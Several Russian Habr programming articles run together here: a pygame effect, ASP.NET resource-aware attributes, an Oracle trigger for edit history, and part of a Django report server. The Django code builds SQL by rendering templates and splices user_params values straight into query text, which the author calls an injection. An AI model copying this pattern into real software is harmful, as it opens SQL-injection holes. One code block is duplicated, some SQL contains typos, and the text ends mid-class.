# 0 до (2 * Пи)
# -------------------------------------------------------------------------------------------------------
def getInd(num):
return int(((255.0 * (num % Pi2) / Pi2)))
# -------------------------------------------------------------------------------------------------------
while running:
for event in pygame.event.get():
if event.type == pygame.QUIT:
running = False
for i in range(0, MY):
y = i / MY
for j in range(0, MX):
x = j / MX
# Вычисляем цветовые коэффициенты и затем сами цветовые составляющие
a1 = 8.0 * sintab[getInd(x + t)]
a2 = 7.0 * costab[getInd(x + t)]
a3 = 6.0 * sintab[getInd(x + t)]
r = int(100 * abs(sintab[getInd(a1 * x + t)] + costab[getInd(a1 * y - t)]))
g = int(100 * abs(costab[getInd(a2 * x - t)] + sintab[getInd(a2 * y + t)]))
b = int(100 * abs(sintab[getInd(a3 * x + t)] + costab[getInd(a3 * y - t)]))
pygame.draw.rect(screen, (r, g, b), (i*scale, j*scale, scale, scale))
t += delta # "Двигаем" анимацию
if t >= Pi2:
t = 0
pygame.display.flip()
pygame.quit()
```
Ссылка на предыдущую статью: [Разбираем алгоритмы компьютерной графики. Часть 5 – Анимация «Shade Bobs»](https://habr.com/ru/post/657591/)
В следующий раз рассмотрим алгоритм искажений на плоскости, например эффект линзы. | https://habr.com/ru/post/658039/ | null | ru | null |
# Перегружаем стандартные DataAnnotation атрибуты для использования с custom resource provider
Представьте, что у вас есть legacy проект Asp.NET MVC версии 5, которому немало лет. В нем используется самописный ResourceProvider, который умеет доставать из базы ресурс и показывать его на UI. В зависимости от различных условий (например, от того, откуда пользователь пришел на сайт), ресурсы будут показаны разные. Теперь пришло время сделать так, чтобы все намертво захардкоженные строки в Data Annotation атрибутах, такие как:
```
[Display(Name = "Username")]
[Required(ErrorMessage = "Please enter the username")]
[StringLength(64, ErrorMessage = "Username cannot exceed 64 characters")]
public string Username{ get; set; }
```
тоже могли получать свои значения, используя ResourceProvider. Как это сделать, используя немного наследования и доступной в Asp.NET MVC кастомизации, я покажу под катом.
Вся необходимая логика по нахождению именно того ресурса, который нужно показать в текущей ситуации, инкапсулирована в классе **ResourceProvider** и связанных с ним классов, поэтому нам достаточно вызвать следующий его метод:
```
string resource = ResourceProvider.GetResource(name);
```
Display attribute
-----------------
**DisplayAttribute**, появившийся в .NET Framework 4, в отличие от своего предшественника, **DisplayNameAttribute**, помечен как *sealed*, поэтому мы не сможем использовать магию наследования в этом случае. Здесь мы воспользуемся тем, что *DisplayName* также доступен в классе **System.Web.Mvc.ModelMetadata**. Создадим класс, наследующий от **DataAnnotationsModelMetadataProvider**, переопределим метод *CreateMetadata*, чтобы подменить *DisplayName* на полученный от **ResourceProvider**. В качестве IoC контейнера используем Ninject. Чтобы задать имя ресурса, создадим свой собственный атрибут **DisplayResourceAwareAttribute**.
```
public class DisplayResourceAwareAttribute : Attribute
{
public string ResourceName { get; set; }
public DisplayResourceAwareAttribute() { }
}
public class ResourceAwareMetadataProvider : DataAnnotationsModelMetadataProvider
{
[Inject]
public ResourceProvider ResourceProvider { get; set; }
protected override ModelMetadata CreateMetadata(
IEnumerable attributes,
Type containerType,
Func modelAccessor,
Type modelType,
string propertyName)
{
var modelMetadata = base.CreateMetadata(attributes, containerType, modelAccessor, modelType, propertyName);
var displayNameAttr = attributes.SingleOrDefault(a => typeof(DisplayResourceAwareAttribute) == a.GetType()) as DisplayResourceAwareAttribute;
if (displayNameAttr != null)
{
modelMetadata.DisplayName = ResourceProvider.GetResource(displayNameAttr.ResourceName);
}
return modelMetadata;
}
}
```
Вышеприведенный код ищет среди атрибутов атрибут типа **DisplayResourceAwareAttribute**, и если такой существует, то мы обновим свойство *DisplayName* значением, полученным с помощью ResourceProvider.GetResource. Теперь мы должны использовать новый MetadataProvider вместо стандартного. Для этого в метод *Application\_Start* в файле Global.asax.cs, добавим следующую строку:
```
protected void Application_Start()
{
...
ModelMetadataProviders.Current = DependencyResolver.Current.GetService();
...
}
```
Теперь в модели мы можем избавить от явно заданного описания поля, заменив стандартный атрибут на наш:
```
[DisplayResourceAware(ResourceName = "UsernameResource")]
[Required(ErrorMessage = "Please enter the username")]
[StringLength(64, ErrorMessage = "Username cannot exceed 64 characters")]
public string Username{ get; set; }
```
Никаких дополнительных изменений в представлениях, контроллерах не требуются.
Валидационные атрибуты
----------------------
С валидационными атрибутами, такими как **Required**, **StringLength** и т.д. проще, потому что мы можем наследовать свои атрибуты от них и в конструкторе установить свойству *ErrorMessage* нужное нам значение. | https://habr.com/ru/post/281222/ | null | ru | null |
# Логирование и откат правок
В некотором царстве-государстве жил-был грозный царь. И было у царя множество бояр, что день-деньской отчеты готовили: сколько войск на службе, да велика ли казна царская, уродилась ли пшеница в году этом, да много ли коровы дают молока.
Захотелось царю, чтоб в отчетах супротив каждой циферки имя боярина отражалось, ее посчитавшего. Да приказал плотникам механизмус построить по чертежам заморским, чтоб если кто из бояр ошибется – того на дыбу, а циферки его лживые взад вернуть.
Повертели в руках плотники чертежи, что Oracle Flashback зовутся, да засомневались. Неужто рычажок UNDO\_RETENTION, по-умолчанию в 3 минуты установленный, можно без последствий до года докрутить, ничего не потерять и не утонуть в гигабайтах лишних данных. Решили свой механизмус собрать.
Сказки кончились, дальше суровая реализация механизмуса.
Основная таблица широкая, включает в себя ID записи, сотню не связанных друг с другом информационных полей и служебную информацию: дату создания или изменения строки, идентификатор боярина, создавшего или отредактировавшего строку через веб-интерфейс. Каждый боярин в разные промежутки времени заполняет строку известными ему данными, либо редактирует уже заполненные другими боярами поля.
> `create table MAIN\_TABLE (
>
> ID number primary key,
>
> INFO\_FIELD1 number,
>
> INFO\_FIELD2 varchar2(100),
>
> INFO\_FIELD3 date,
>
> …
>
> CREATE\_DATE date default sysdate,
>
> CREATE\_USER\_ID number NOT NULL,
>
> UPDATE\_DATE date,
>
> UPDATE\_USER\_ID number
>
> )
>
> partition by range ( CREATE\_DATE ) …
>
> ;`
Таблица истории правок практически полностью повторяет структуру основной таблицы, разве что лишена полей CREATE\_DATE, CREATE\_USER\_ID – эти поля остаются неизменными, нет смысла хранить историю по ним. Кроме того, историческая таблица не участвует в государственных процессах, ключи ей не нужны. Секционирование также перенесено с даты создания строки на дату изменения, это позволит перемещать или удалять секции с устаревшими правками.
> `create table HISTORY\_TABLE (
>
> ID number,
>
> INFO\_FIELD1 number,
>
> INFO\_FIELD2 varchar2(100),
>
> INFO\_FIELD3 date,
>
> …
>
> UPDATE\_DATE date,
>
> UPDATE\_USER\_ID number
>
> )
>
> partition by range ( UPDATE\_DATE ) …
>
> ;`
Теперь при изменении основной таблицы надо сохранять прежнее значение отредактированного поля (полей) в таблицу истории, создав новую строку. Таким образом, в основной таблице хранится актуальная на текущий момент информация. В исторической таблице на каждый ID строки из основной таблицы приходится несколько строк с тем же ID, различающихся по UPDATE\_DATE.
*Следствие 1*: число строк исторической таблицы равно количеству правок основной.
*Следствие 2*: если строка создана в основной таблице, но ни разу не редактировалась, ее ID нет в исторической таблице.
Для заполнения таблицы истории плотники воспользовались триггером – наиболее надежным способом. Чтобы выделить изменившееся поле среди всех прочих, стали сверять старое и новое значение каждого поля. Изменений нет – пишем NULL. Это положительно сказывается на объеме: не нужно дублировать данные, которые не изменились с предыдущей правки.
Но вот незадача, вредные бояре могут стирать уже заполненные поля. Такой случай надо обрабатывать отдельно, NULL писать нельзя – это отсутствие изменений. Вместо NULL стали подставлять в историю логически невозможное значение. Например, ни один казначей в мире по собственной воле не укажет в отчете царю отрицательную величину казны, да и веб-интерфейс этого не позволит. Если считать значение -99 (01.01.1970 для полей типа дата) кодом операции стирания поля, гармония восстанавливается.
> `create or replace trigger TRG\_MAIN\_BEFORE\_UPD
>
> before update on MAIN\_TABLE
>
> for each row
>
> declare
>
> HIST HISTORY\_TABLE %ROWTYPE;
>
> begin
>
>
>
> HIST.ID := :OLD.ID;
>
>
>
> if (:OLD.UPDATE\_DATE is null) then
>
> -- строка правится первый раз - сохраняем в историю всё как есть
>
>
>
> HIST.UPDATE\_DATE := :OLD.CREATE\_DATE;
>
> HIST.UPDATE\_USER\_ID := :OLD.CREATE\_USER\_ID;
>
>
>
> HIST.INFO\_FIELD1 := :OLD.INFO\_FIELD1;
>
> HIST.INFO\_FIELD2 := :OLD.INFO\_FIELD2;
>
> HIST.INFO\_FIELD3 := :OLD.INFO\_FIELD3;
>
>
>
> else
>
> -- строка правится повторно - сохраняем только измененные поля,
>
> -- если поле не изменилось, сохраняем NULL
>
> -- если изменено на NULL, вставляем невозможное значение
>
>
>
> HIST.UPDATE\_DATE := :OLD.UPDATE\_DATE;
>
> HIST.UPDATE\_USER\_ID := :OLD.UPDATE\_USER\_ID;
>
>
>
> if nvl(:NEW.INFO\_FIELD1, -99) <> nvl(:OLD.INFO\_FIELD1, -99) then
>
> HIST.INFO\_FIELD1 := nvl(:OLD.INFO\_FIELD1, -99);
>
> end if;
>
>
>
> if nvl(:NEW.INFO\_FIELD2, '-99') <> nvl(:OLD.INFO\_FIELD2, '-99') then
>
> HIST.INFO\_FIELD2 := nvl(:OLD.INFO\_FIELD2, '-99');
>
> end if;
>
>
>
> if nvl(:NEW.INFO\_FIELD3, to\_date('01.01.1970', 'dd.mm.yyyy')) <>
>
> nvl(:OLD.INFO\_FIELD3, to\_date('01.01.1970', 'dd.mm.yyyy')) then
>
> HIST.INFO\_FIELD3 :=
>
> nvl(:OLD.INFO\_FIELD3, to\_date('01.01.1970', 'dd.mm.yyyy'));
>
> end if;
>
>
>
> end if;
>
>
>
> -- Вставка результата в таблицу истории
>
> insert into HISTORY\_TABLE (ID, UPDATE\_DATE, UPDATE\_USER\_ID,
>
> INFO\_FIELD1, INFO\_FIELD2, INFO\_FIELD3)
>
> values (HIST.ID, HIST.UPDATE\_DATE, HIST.UPDATE\_USER\_ID,
>
> HIST.INFO\_FIELD1, INFO\_FIELD2, HIST.INFO\_FIELD3);
>
>
>
> end TRG\_MAIN\_BEFORE\_UPD;
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Выбирая из таблицы истории, сразу видно, кто какой вклад внёс:
> `select \*
>
> from HISTORY\_TABLE
>
> where ID = 1
>
> oder by UPDATE\_DATE;
>
>
>
>
>
> ---------------------------------------------------------------------------
>
> ID | INFO\_FIELD1 | INFO\_FIELD2 | INFO\_FIELD3 | UPDATE\_DATE | UPDATE\_USER\_ID
>
> ---------------------------------------------------------------------------
>
> 1 12 AAA 05.11.2010 1
>
> 1 -99 01.11.2010 06.11.2010 2
>
> 1 BBB 07.11.2010 3`
Пользователь 1 при создании записи заполнил первых два информационных поля, проигнорировав (оставив пустым) третье. Пользователь 2 на следующий день стер значение первого поля (видимо посчитал некорректным) и заполнил третье. Еще через день пользователь 3 исправил второе поле, первое же так и осталось незаполненным. Не забываем, что это исторические правки, значит редакция 07.11.2010 не последняя. В основной таблице хранится актуальная версия этой записи, которая может кардинально отличаться от прежних версий.
Очевидно, поиск по ID и дате изменения наиболее популярный в таблице истории. Стоит создать локальные индексы по этим полям.
Чтобы удовлетворить потребности царя, в механизмус была добавлена возможность восстанавливать данные на любой период времени. Для этого дырки (NULLы) в таблице истории заменяются значением, актуальным на тот период времени. А невозможные значения -99 подменяются на NULLы. Плотники сделали представление для удобства:
> `create or replace view V\_HISTORY\_RESTORE (
>
> ID,
>
> INFO\_FIELD1,
>
> INFO\_FIELD2,
>
> INFO\_FIELD3,
>
>
>
> UPDATE\_DATE,
>
> UPDATE\_USER\_ID
>
> )
>
> as
>
> select
>
> ID,
>
>
>
> case
>
> when LAST\_VALUE(INFO\_FIELD1 ignore NULLS) over (partition by ID order by UPDATE\_DATE) = -99
>
> then NULL
>
> else
>
> LAST\_VALUE(INFO\_FIELD1 ignore NULLS) over (partition by ID order by UPDATE\_DATE)
>
> end as INFO\_FIELD1,
>
>
>
> case
>
> when LAST\_VALUE(INFO\_FIELD2 ignore NULLS) over (partition by ID order by UPDATE\_DATE) = '-99'
>
> then NULL
>
> else
>
> LAST\_VALUE(INFO\_FIELD2 ignore NULLS) over (partition by ID order by UPDATE\_DATE)
>
> end as INFO\_FIELD2,
>
>
>
> case
>
> when LAST\_VALUE(INFO\_FIELD3 ignore NULLS) over (partition by ID order by UPDATE\_DATE) = to\_date('01.01.1970', 'dd.mm.yyyy')
>
> then NULL
>
> else
>
> LAST\_VALUE(INFO\_FIELD3 ignore NULLS) over (partition by ID order by UPDATE\_DATE)
>
> end as INFO\_FIELD3,
>
>
>
> UPDATE\_DATE,
>
> UPDATE\_USER\_ID
>
>
>
> from HISTORY\_TABLE;
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Довольно громоздко, но работает быстро. Здесь используется аналитическая функция LAST\_VALUE с конструкцией ignore NULLS, которая берет для каждой строки значение поля из предыдущей (в сортировке по дате) строки, если оно не NULL. Если в предыдущей строке оно NULL – двигаемся выше, пока не наткнемся на непустое значение.
Выбирая строки из представления для восстановления истории, видно состояние основной таблицы на тот или иной момент времени:
> `select \*
>
> from V\_HISTORY\_RESTORE
>
> where ID = 1
>
> oder by UPDATE\_DATE;
>
>
>
>
>
> ---------------------------------------------------------------------------
>
> ID | INFO\_FIELD1 | INFO\_FIELD2 | INFO\_FIELD3 | UPDATE\_DATE | UPDATE\_USER\_ID
>
> ---------------------------------------------------------------------------
>
> 1 12 AAA 05.11.2010 1
>
> 1 AAA 01.11.2010 06.11.2010 2
>
> 1 BBB 01.11.2010 07.11.2010 3`
Теперь для восстановления строки достаточно выбрать только дату правки и сделать update для основной таблицы. Так как в основную таблицу идет update, получается еще одна строка в таблице истории. А значит, в будущем можно вернуться к моменту до начала возврата в прошлое (если фраза звучит противоречиво, пересмотрите фильм “Назад в будущее”).
Для предания анафеме вклада провинившихся холопов достаточно удалить их строки из таблицы истории, а в основной таблице для строк, содержащих плохие правки, восстановить предыдущее состояние строки.
Вот и сказочке конец. Царь остался доволен.
Механизмус работает, гибко настраивается, какие именно поля, каких таблиц хранить. История становится более управляемой. При необходимости можно удалять ненужные правки строк, заверенные царем, освобождая место в хранилище.
Одно плохо — плотники утомились все это пилить. И опасность есть, что придет левша, добавит полей в основную таблицу, а про историю забудет. Против кривых рук защиты нет.
На закуску статья [Версионность и история данных](http://habrahabr.ru/blogs/sql/101544)
p.s. Велосипед мой. Не претендую на новаторство, но гугление аналогов не выявило. Картинка для статьи нарыта в интернетах. | https://habr.com/ru/post/107745/ | null | ru | null |
# Сервер отчетов на django
Доброго времени суток.
Так случилось, что моя работа связана с написанием отчетов.
Этому я посвятил около 8 лет. Отчеты — это глаза бизнес-процесса и информация,
необходимая для принятия оперативных решений.
Вначале наш отдел делал отчеты,
— Принимая задачи по outlook
— Составляя sql-запрос
— Отправляя результаты заказчику в xls
— В лучшем случае, сохраняя sql-код куда-то в папку (а иногда и не сохраняя)
Но это было скучно и неинтересно. Так появилось простейшее приложение на PHP,
в котором каждый отчет был представлен в виде php-файла с одним классом, имеющим единственный (помимо конструктора) метод show()
В таком виде, система прожила 5,5 лет, за которые мной и еще одним человеком было написано более 500 различных отчетов.
В процессе появился опыт и стало понятно, что многое (если не все) сделано не так, да и PHP уже не устраивал.
Сервер отчетов был переписан на django, где была «админка» и код приложения уже не правился.
В процессе работы снова накопилось несколько мыслей,
в итоге сервер был снова переписан.
Я решил представить сообществу текущую версию системы, возможно, она кому-то облегчит жизнь,
сняв рутину отчетности и переложит ее на машину, которая готова сотни раз формировать отчеты
тысячи людям по сотни разных входных параметров.
Это рабочий инструмент, который вы можете (если захотите) использовать в работе,
который нам использовать просто нравится.
Структура проекта
-----------------
Все заинтересованные, могут сразу ознакомиться с исходным кодом на [https://bitbucket.org](https://bitbucket.org/dibrovsd/py_docflow/)
Концепция и основные элементы
-----------------------------
Система состоит из набора отчетов.
— Отчеты слабо (практически никак) не связаны друг с другом, чтоб разработчик мог быть уверен, что ничего не испортит в других отчетах, отредактировав какой-то один.
— Элементы отчета жестко связанны внутри отчета и влияют друг на друга.
Отчеты не организованы в иерархию (от этого ушли), а помечаются набором тэгов.
На главной системы отчетов можно щелчками набирать нужные сочетания тэгов, которые работают, как фильтр
и поиск отчетов.
Элементы отчета «ленивые» и начинают выполнятся в момент сборки на уровне компоновщика виджетов,
что дает возможность выполнять только те запросы к базе, которые необходимы,
размещая в отчете и группированные данные и детализацию.
За счет кэширования данных на уровне источника, несколько виджетов, выводящих данные из одного источника, дают только один запрос в базу данных.
```
{% if get.detail == 'table' %}
{{table.some_table_detail}}
{% elif get.detail == 'chart' %}
{{charts.some_chart}}
{% else %}
{{tables.grouped_table}}
{% endif %}
```
Есть параметры доступа пользователю к отчету, помимо самого факта доступности.
Которые могут быть использованы для предоставлении доступа к части отчета или части данных
```
select * from some_table t
where 1 = 1
-- Это инъекция
{% if user_params.only_filials %}and filial_id in ({{user_params.only_filials|join:","}}){% endif %}
-- Это привязанная переменная, которая заменяется на %s
{% if user_params.only_sectors %}and sector_id = [[user_params.only_sectors.0]]{% endif %}
```
При необходимости одного варианта вызова менеджера в шаблонной системе, используется \_\_call\_\_
Если возможны несколько вариантов, используется \_\_getitem\_\_ для словарного объекта.
Каждый отчет может состоять из:
**Менеджер окружения**
```
class EnvirementManager(object):
u'''
Работа с элементами окружения, render строк внутри переменных окружения,
разбор запросов и т.п.
'''
def __init__(self, **kwargs):
self._env = kwargs
def render(self, text, **dict):
u''' Обработка строки шаблонной системой '''
return render_string(text, self._dict_mix(dict))
def render_template_compiled(self, template, **dict):
u''' Обработать предварительно скомпилированный шаблон '''
return template.render(Context(self._dict_mix(dict)))
def render_template(self, path, **dict):
u''' Обработать '''
return render_to_string(path,
self._dict_mix(dict),
context_instance=RequestContext(self._env['request']))
def render_sql(self, sql, **dict):
u''' Обрабатывает строку шаблонной системой
Возвращает обработанную строку и массив переменных для привязки '''
sql_rendered = self.render(sql, **dict)
binds = []
for bind_token in re.findall(r'\[{2}.+\]{2}', sql_rendered):
env_path = bind_token[2:-2]
binds.append(attribute_by_name(self._env, env_path))
sql_rendered = sql_rendered.replace(bind_token, u'%s')
return (sql_rendered, binds)
def _dict_mix(self, dict):
if dict:
e = self._env.copy()
e.update(dict)
else:
e = self._env
return e
def get(self, name, value=None):
return self._env.get(name, value)
def __getitem__(self, name):
return self._env[name]
def __setitem__(self, name, value):
self._env[name] = value
```
Инициализируется именованными аргументами и используется для рендеринга всего
с учетом тех переменных, которыми инициализирован.
За счет этого, мы можем гарантировать наличие из любого места заранее известного набора переменных.
Может рендерить sql-запросы, которые являются источниками данных (но об этом чуть ниже)
**Менеджер источников данных**
```
class DatasetManager(object):
u''' Управление источниками данных '''
def __init__(self, request, dataset, env):
u'''
Конструктор
'''
self._request = request
self._dataset = dataset
self._env = env
self._cache = []
self._xml = None
if self._dataset.xml_settings:
self._xml = etree.fromstring(self._env.render(self._dataset.xml_settings))
def get_data(self):
u'''
Выполняет запрос и возвращает словарь с данными
'''
if not self._cache:
self._cache = [[], []]
(sql, binds) = self._env.render_sql(self._dataset.sql)
cursor = self._modify_cursor(connections['reports'].cursor())
cursor.execute(sql, binds)
# Настройки колонок запроса
xml_columns = {}
if self._xml not in (None, ''):
for xml_column in self._xml.xpath('/xml/columns/column'):
attrs = xml_column.attrib
xml_columns[force_unicode(attrs['name'])] = force_unicode(attrs['alias'])
# Колонки запроса (заменяем название колонки, если запрошено)
# это может пригодится при использовании БД, запрещаюей использование длинных имен
for field in cursor.description:
name_unicode = force_unicode(field.name)
self._cache[0].append(xml_columns[name_unicode] if name_unicode in xml_columns
else name_unicode)
self._cache[1] = cursor.fetchall()
return self._cache
def __getitem__(self, name):
u''' вызовы из шаблонной системы работают через словарные объекты '''
if name == 'sql':
return self._env.render(self._dataset.sql)
elif name == 'render':
(sql, binds) = self._env.render_sql(self._dataset.sql)
return {'sql': sql, 'binds': binds}
elif name == 'data':
(fields, data) = self.get_data()
return [dict(zip(fields, row)) for row in data]
def _modify_cursor(self, cursor):
u'''
Модификация параметров курсора (может потредоваться для разных баз баз данных),
например, для Oracle требуется
установка параметров локали, отключение number_as_string = True (по умолчанию в стандартном
backends django)
'''
return cursor
```
Поставляет:
— Данные в виде кортежа (field\_names, rows,)
Для визуализации различными типами виджетов, выгрузки в excel
— Данные в виде списка словарей (каждая строка является словарем)
Для прямого обращения к источнику и генерации html, javascript, css кода в менеджере компоновки (о нем немного позже)
— sql-код без обработки переменных привязки
Используется для организации вложенных источников данных, например:
```
select key, count(1) from ({{datasets.base_dataset.sql}}) group by key
```
— sql-код и переменные привязки
Просто для отладки и выводе в отчет
За счет этого, можно:
— Менять на лету sql-запрос в зависимости от переменных менеджера окружения
— На основе одного запроса, можно делать другие так, чтоб у вас группировка и детализация никогда не будут отличатся,
так как основаны на одном источнике, и вы никогда не забудите доработать группировку и забыть сделать это в детализации
— Выборку из одного источника данных использовать для динамической сборки другого.
Например, создать заранее неизвестное кол-во колонок в запросе помесячно, по месяцам (или неделям), входящим в отчетный период (задается пользователем в форме, но о них тоже чуть ниже),
и все это независимо от возможностей базы данных (без pivot|unpivot oracle и xml\_query oracle)
**Менеджер фильтров**
```
class FilterManager(object):
u''' Класс для управления фильтрами '''
def __init__(self, request, filter_obj, env):
u''' Конструктор '''
self._request = request
self._filter_obj = filter_obj
self._env = env
self._form_instance = None
self._changed_data = {}
# Если отправили эту форму, инициализировать форму POST-данными
# Проверить отправленные данные и, если они отличаются от сохраненных, запомним их в self._changed_data
if self._request.method == 'POST' and int(self._request.POST['filter_id']) == self._filter_obj.id:
self._form_instance = self._get_form_class()(self._request.POST)
if self._form_instance.is_valid():
data = self._form_instance.cleaned_data
for key, value in data.items():
if self._env['f'].get(key) != value:
self._changed_data[key] = value
def get_changed_data(self):
return self._changed_data
def get_form(self):
u''' Получить экземпляр формы фильтра '''
try:
# Если экземпляр формы не создан в конструкторе, (при изменениях)
# значит инициализируем из заранее сохраненных значений
if self._form_instance is None:
self._form_instance = self._get_form_class()(initial=self._env['f'])
html = self._env.render('{% load custom_filters %}' + self._filter_obj.html_layout, form=self._form_instance)
return self._env.render_template('reports_filter.html', form_html=html, filter=self._filter_obj)
except Exception as e:
return e
def __call__(self):
u''' Для вызова в шаблоне '''
try:
return self.get_form()
except Exception as e:
return e
def _get_form_class(self):
u''' Собрать форму фильтра и вернуть ее '''
form_attrs = {}
filter_widgets = (DateField, ChoiceField, MultipleChoiceField, BooleanField, CharField, CharField, DateRangeField)
for item in self._filter_obj.form_items.all():
kwargs = {'label': item.title, 'required': False}
if item.xml_settings:
xml = xml = etree.fromstring(self._env.render(item.xml_settings))
else:
xml = None
if item.widget_type == 0:
kwargs['widget'] = forms.DateInput(attrs={'class': 'date'})
elif item.widget_type in (1, 2):
choices = []
for option in xml.xpath('/xml/options/option'):
choices.append((option.attrib['id'], option.attrib['value']))
sql = xml.xpath('/xml/sql')
if sql:
curs = connections['reports'].cursor().execute(sql[0].text)
for row in curs.fetchall():
choices.append((row[0], row[1]))
kwargs['choices'] = choices
elif item.widget_type == 4:
kwargs['max_length'] = 50
elif item.widget_type == 5:
default = xml.xpath('/xml/value')
kwargs['widget'] = forms.HiddenInput(attrs={'value': default[0].text})
form_attrs[item.key] = filter_widgets[item.widget_type](**kwargs)
filter_form = type(str(self._filter_obj.title), (forms.Form,), form_attrs)
return filter_form
```
Тут все достаточно тривиально. Собираем форму и отдаем форму и измененные данные
**Табличный виджет**
```
class WidgetTableManager(object):
u''' Управляет работой с табличным виджетом '''
def __init__(self, request, widget_obj, dataset, env):
u''' Конструктор '''
self._request = request
self._widget_obj = widget_obj
self._dataset = dataset
self._env = env
self._xml = None
if widget_obj.xml_settings:
self._xml = etree.fromstring(self._env.render(widget_obj.xml_settings).replace('[[', '{{').replace(']]', '}}'))
def get_html(self):
u''' Вернуть html-код таблицы '''
(fields, data) = self._dataset.get_data()
field_settings = {}
table_settings = {}
if self._xml is not None:
table_settings_node = xml_node(self._xml, '/xml/table')
if table_settings_node is not None:
table_settings = table_settings_node.attrib
for xml in self._xml.xpath('/xml/fields/field'):
xml_attributes = dict(xml.attrib)
field_name = xml_attributes['name']
if 'lnk' in xml_attributes:
xml_attributes['tpl_lnk'] = Template(force_unicode(xml_attributes['lnk']))
if 'cell_attributes' in xml_attributes:
xml_attributes['tpl_cell_attributes'] = Template(force_unicode(xml_attributes['cell_attributes']))
field_settings[field_name] = xml_attributes
# Выводимые на экран колонки
fields_visible = []
for index, field_name in enumerate(fields):
settings = field_settings.get(field_name, {})
if 'display' in settings and settings['display'] == '0':
continue
fields_visible.append((index, field_name, settings))
# Вычислить параметры и привязать к данным
rows = []
for row in data:
row_dict = dict(zip(fields, row))
row_settings = {}
# Настройки уровня строки
if 'field_row_style' in table_settings:
row_settings['row_style'] = row_dict[table_settings['field_row_style']]
if 'field_row_attributes' in table_settings:
row_settings['row_attributes'] = row_dict[table_settings['field_row_attributes']]
# Перебрать строки и собрать настройки уровня строки
fields_set = []
for index, field_name, settings in fields_visible:
field = {'name': field_name, 'value': row[index]}
# Если есть ссылка и она должна быть показана
if 'tpl_lnk' in settings and ('lnk_enable_field' not in settings or row_dict[settings['lnk_enable_field']] not in (0, '0', '', None)):
field['lnk'] = self._env.render_template_compiled(settings['tpl_lnk'], row=row_dict)
# Аттрибуты ячейки
if 'tpl_cell_attributes' in settings:
field['cell_attributes'] = settings['tpl_cell_attributes'].render(Context(row_dict))
field['settings'] = settings
fields_set.append(field)
rows.append({'settings': row_settings, 'fields': fields_set})
return render_to_string('reports_widget_table.html', {'fields': fields_visible, 'rows': rows, 'widget_obj': self._widget_obj})
def __call__(self):
u''' При вызове, возвращает таблицу '''
try:
return self.get_html()
except Exception as e:
return u'Ошибка в виджете %s: "%s"' % (self._widget_obj.title, e)
```
Берет данные из источника данных и выводит в табличном виде. Поддерживает
— форматирование
— Генерацию ссылок (которые могут использоваться для детализации ячейки в другой таблице, график или excel)
— Генерацию произвольных аттрибутов строк (для работы javascript, скрытия или показа итоговых строк и т.п.)
**Виджет - график**
```
class WidgetChartManager(object):
u''' Менеджер графика '''
def __init__(self, request, chart_obj, dataset, env):
u''' Конструктор '''
self._request = request
self._chart_obj = chart_obj
self._dataset = dataset
self._env = env
self._xml = etree.fromstring(self._env.render(self._chart_obj.xml_settings))
print 1
def __call__(self):
u''' При вызове из шаблона '''
print 2
try:
return self.get_chart()
except Exception as e:
print unicode(e)
return unicode(e)
def get_chart(self):
u''' html со скриптом сборки графика '''
(fields, data) = self._dataset.get_data()
return self._env.render_template('reports_widget_chart.html',
settings=xml_to_dict(xml_node(self._xml, '/xml')),
data=json.dumps([dict(zip(fields, row)) for row in data], cls=JSONEncoder),
chart_obj=self._chart_obj,
)
```
Тут тоже просто. Берет данные из источника, XML-настройки переводит в dict и рендерит шаблон,
собирая javascript-код графика (используется amcharts)
тэги XML-узлов преобразуются в название парамерта, текст в значение параметра,
то есть можно использовать практически все параметры библиотеки amcharts,
просто поместив нужный тэг у нужную секцию
И, как завершение теоретической части, привожу код класса, который всем этим управляет,
размещая виджеты, или возвращая xls или произвольный документ (html с расширением .doc или .xls)
**Табличный виджет**
```
class WidgetTableManager(object):
u''' Управляет работой с табличным виджетом '''
def __init__(self, request, widget_obj, dataset, env):
u''' Конструктор '''
self._request = request
self._widget_obj = widget_obj
self._dataset = dataset
self._env = env
self._xml = None
if widget_obj.xml_settings:
self._xml = etree.fromstring(self._env.render(widget_obj.xml_settings).replace('[[', '{{').replace(']]', '}}'))
def get_html(self):
u''' Вернуть html-код таблицы '''
(fields, data) = self._dataset.get_data()
field_settings = {}
table_settings = {}
if self._xml is not None:
table_settings_node = xml_node(self._xml, '/xml/table')
if table_settings_node is not None:
table_settings = table_settings_node.attrib
for xml in self._xml.xpath('/xml/fields/field'):
xml_attributes = dict(xml.attrib)
field_name = xml_attributes['name']
if 'lnk' in xml_attributes:
xml_attributes['tpl_lnk'] = Template(force_unicode(xml_attributes['lnk']))
if 'cell_attributes' in xml_attributes:
xml_attributes['tpl_cell_attributes'] = Template(force_unicode(xml_attributes['cell_attributes']))
field_settings[field_name] = xml_attributes
# Выводимые на экран колонки
fields_visible = []
for index, field_name in enumerate(fields):
settings = field_settings.get(field_name, {})
if 'display' in settings and settings['display'] == '0':
continue
fields_visible.append((index, field_name, settings))
# Вычислить параметры и привязать к данным
rows = []
for row in data:
row_dict = dict(zip(fields, row))
row_settings = {}
# Настройки уровня строки
if 'field_row_style' in table_settings:
row_settings['row_style'] = row_dict[table_settings['field_row_style']]
if 'field_row_attributes' in table_settings:
row_settings['row_attributes'] = row_dict[table_settings['field_row_attributes']]
# Перебрать строки и собрать настройки уровня строки
fields_set = []
for index, field_name, settings in fields_visible:
field = {'name': field_name, 'value': row[index]}
# Если есть ссылка и она должна быть показана
if 'tpl_lnk' in settings and ('lnk_enable_field' not in settings or row_dict[settings['lnk_enable_field']] not in (0, '0', '', None)):
field['lnk'] = self._env.render_template_compiled(settings['tpl_lnk'], row=row_dict)
# Аттрибуты ячейки
if 'tpl_cell_attributes' in settings:
field['cell_attributes'] = settings['tpl_cell_attributes'].render(Context(row_dict))
field['settings'] = settings
fields_set.append(field)
rows.append({'settings': row_settings, 'fields': fields_set})
return render_to_string('reports_widget_table.html', {'fields': fields_visible, 'rows': rows, 'widget_obj': self._widget_obj})
def __call__(self):
u''' При вызове, возвращает таблицу '''
try:
return self.get_html()
except Exception as e:
return u'Ошибка в виджете %s: "%s"' % (self._widget_obj.title, e)
```
Берет данные из источника данных и выводит в табличном виде. Поддерживает
— форматирование
— Генерацию ссылок (которые могут использоваться для детализации ячейки в другой таблице, график или excel)
— Генерацию произвольных аттрибутов строк (для работы javascript, скрытия или показа итоговых строк и т.п.)
**Менеджер отчетов**
```
class ReportManager(object):
u''' Управляет отчетами '''
def __init__(self, request, report):
self._report = report
self._request = request
self._user = request.user
self._forms = {}
